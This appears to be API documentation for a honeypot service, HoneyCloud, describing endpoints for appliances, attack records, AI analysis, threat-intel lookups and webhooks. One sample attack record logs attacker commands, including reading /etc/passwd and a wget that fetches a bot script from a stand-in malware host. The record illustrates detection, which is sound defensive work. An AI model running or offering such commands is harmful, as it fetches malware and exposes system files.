API Documentation - HoneyCloud™

Introduction

The HoneyCloud^™ API provides programmatic access to your honeypot appliances, attack data, threat intelligence, and AI-powered analysis. Use this API to integrate HoneyCloud^™ into your existing security tools, RMM platforms, or custom dashboards.

API Version: v1 | Status: Production | Last Updated: January 2026

Authentication

All API requests require authentication using a Bearer token. You can generate API keys from your HoneyCloud^™ dashboard under Settings → API Keys.

Request Header

Authorization: Bearer YOUR_API_KEY

Keep your API keys secure. If you believe a key has been compromised, revoke it immediately from the dashboard and generate a new one.

Base URL

All API endpoints are relative to the following base URL:

https://app.honeycloud.co/api/v1

Rate Limits

API requests are rate limited to ensure fair usage across all customers:

Tier	Requests/Minute	Requests/Day
Basic	60	1,000
Professional	120	10,000
Enterprise	300	100,000

Appliances

List All Appliances

GET /appliances

Returns a list of all appliances registered to your account.

Response

{
  "success": true,
  "data": [
    {
      "id": "ap_abc123",
      "serial": "HT-2026-001234",
      "name": "Acme Corp - Main Office",
      "status": "online",
      "last_seen": "2026-01-20T14:30:00Z",
      "version": "3.0.3",
      "tier": "professional",
      "attacks_24h": 47
    }
  ],
  "total": 1
}

Get Appliance Details

GET /appliances/{appliance_id}

Returns detailed information about a specific appliance.

Parameter	Type	Description
appliance_id	string required	The unique appliance identifier

Get Appliance Status

GET /appliances/{appliance_id}/status

Returns real-time status including CPU, memory, disk usage, and service health.

Response

{
  "success": true,
  "data": {
    "status": "online",
    "uptime": "14 days, 6 hours",
    "cpu_percent": 12,
    "memory_percent": 34,
    "disk_percent": 28,
    "services": {
      "honeytrap": "active",
      "dashboard": "active",
      "heartbeat": "active"
    },
    "last_attack": "2026-01-20T14:15:32Z"
  }
}

Add Appliance by Serial

POST /appliances/add-by-serial

Pre-register an appliance by its serial number before shipping. Used for zero-touch provisioning - the appliance will auto-link when it phones home.

Parameter	Type	Description
serial	string required	The appliance serial number (e.g., HT-2026-001234)
name	string optional	Friendly name for the appliance
site_id	string optional	Assign to a specific site

Request

{
  "serial": "HT-2026-001234",
  "name": "Acme Corp - Main Office",
  "site_id": "site_abc123"
}

Response

{
  "success": true,
  "data": {
    "id": "ap_xyz789",
    "serial": "HT-2026-001234",
    "name": "Acme Corp - Main Office",
    "status": "pending",
    "message": "Appliance registered. Will auto-link when it phones home."
  }
}

Register Unclaimed Appliance

POST /appliances/register-unclaimed

Called by appliances to phone home. If the serial is pre-registered, returns the tenant configuration. If not, the appliance continues in standalone mode. This endpoint is called automatically by the appliance - MSPs do not need to call it directly.

Parameter	Type	Description
serial	string required	The appliance serial number
mac	string required	MAC address for verification
version	string required	Current firmware version

Response (Not Registered)

{
  "status": "standalone",
  "message": "Serial not registered. Operating in standalone mode."
}

Response (Registered)

{
  "status": "registered",
  "tenant_id": "tenant_abc123",
  "api_key": "htpro_xxxxxxxxxxxxxx",
  "cloud_url": "https://app.honeycloud.co",
  "appliance_id": "ap_xyz789"
}

Attacks

List Attacks

GET /attacks

Returns a paginated list of attacks across all appliances.

Parameter	Type	Description
appliance_id	string optional	Filter by specific appliance
service	string optional	Filter by service (ssh, rdp, smb, etc.)
severity	string optional	Filter by severity (low, medium, high, critical)
since	datetime optional	Return attacks after this timestamp (ISO 8601)
limit	integer optional	Number of results (default: 50, max: 200)

Get Attack Details

GET /attacks/{attack_id}

Returns full details of an attack including commands executed and session data.

Response

{
  "success": true,
  "data": {
    "id": "atk_xyz789",
    "appliance_id": "ap_abc123",
    "timestamp": "2026-01-20T14:15:32Z",
    "source_ip": "185.220.101.45",
    "source_country": "Russia",
    "service": "ssh",
    "port": 2222,
    "severity": "high",
    "duration_seconds": 127,
    "commands": [
      "whoami",
      "cat /etc/passwd",
      "wget http://malware.site/bot.sh"
    ],
    "session_recording": "rec_abc123",
    "ai_analysis": {
      "classification": "reconnaissance",
      "threat_level": "high",
      "mitre_techniques": ["T1110", "T1078"],
      "summary": "Automated SSH brute force followed by credential harvesting attempt..."
    }
  }
}

Get AI Analysis

GET /attacks/{attack_id}/analysis

Returns detailed Claude AI analysis of an attack. Available on Professional and Enterprise tiers.

Response

{
  "success": true,
  "data": {
    "threat_level": "high",
    "classification": "reconnaissance",
    "summary": "This attack represents an automated SSH brute force attempt...",
    "technical_details": "Attack originated from a known Tor exit node...",
    "mitre_techniques": [
      {"id": "T1110", "name": "Brute Force"},
      {"id": "T1078", "name": "Valid Accounts"}
    ],
    "recommendations": [
      "Block source IP at perimeter firewall",
      "Review failed authentication logs",
      "Enable MFA on all SSH-accessible systems"
    ],
    "risk_to_business": "Medium risk of credential compromise",
    "ai_powered": true,
    "generated_at": "2026-01-20T14:16:00Z"
  }
}

Threat Intelligence

Check IP Reputation

GET /intel/ip/{ip_address}

Check an IP address against our threat intelligence database and external feeds.

Response

{
  "success": true,
  "data": {
    "ip": "185.220.101.45",
    "is_known_bad": true,
    "threat_score": 87,
    "categories": ["tor_exit", "brute_force", "scanner"],
    "first_seen": "2025-06-15T00:00:00Z",
    "last_seen": "2026-01-20T14:15:32Z",
    "attack_count": 1247,
    "geoip": {
      "country": "Russia",
      "city": "Moscow",
      "asn": "AS12345",
      "org": "Example Hosting"
    },
    "external_feeds": {
      "abuseipdb": {"score": 95, "reports": 50},
      "virustotal": {"malicious": 5, "suspicious": 3}
    }
  }
}

Get Threat Feed

GET /intel/feed

Returns recent threat indicators from the HoneyCloud^™ collective intelligence network.

Threat feed includes anonymized attack data shared by participating HoneyCloud^™ users (opt-in). Your company identity is never disclosed.

Webhooks

Configure Webhook

POST /webhooks

Create a webhook endpoint to receive real-time attack notifications.

Request Body

{
  "url": "https://your-server.com/webhook",
  "events": ["attack.detected", "attack.high_severity"],
  "secret": "your_webhook_secret"
}

Event Types

Event	Description
attack.detected	Triggered when any attack is detected
attack.high_severity	Triggered for high/critical severity attacks only
appliance.offline	Triggered when an appliance stops reporting
appliance.online	Triggered when an appliance comes back online
threat.new_ioc	Triggered when a new indicator of compromise is added to the feed

Webhook Payload Example

{
  "event": "attack.detected",
  "timestamp": "2026-01-20T14:15:32Z",
  "data": {
    "attack_id": "atk_xyz789",
    "appliance_id": "ap_abc123",
    "appliance_name": "Acme Corp - Main Office",
    "source_ip": "185.220.101.45",
    "service": "ssh",
    "severity": "high"
  },
  "signature": "sha256=abc123..."
}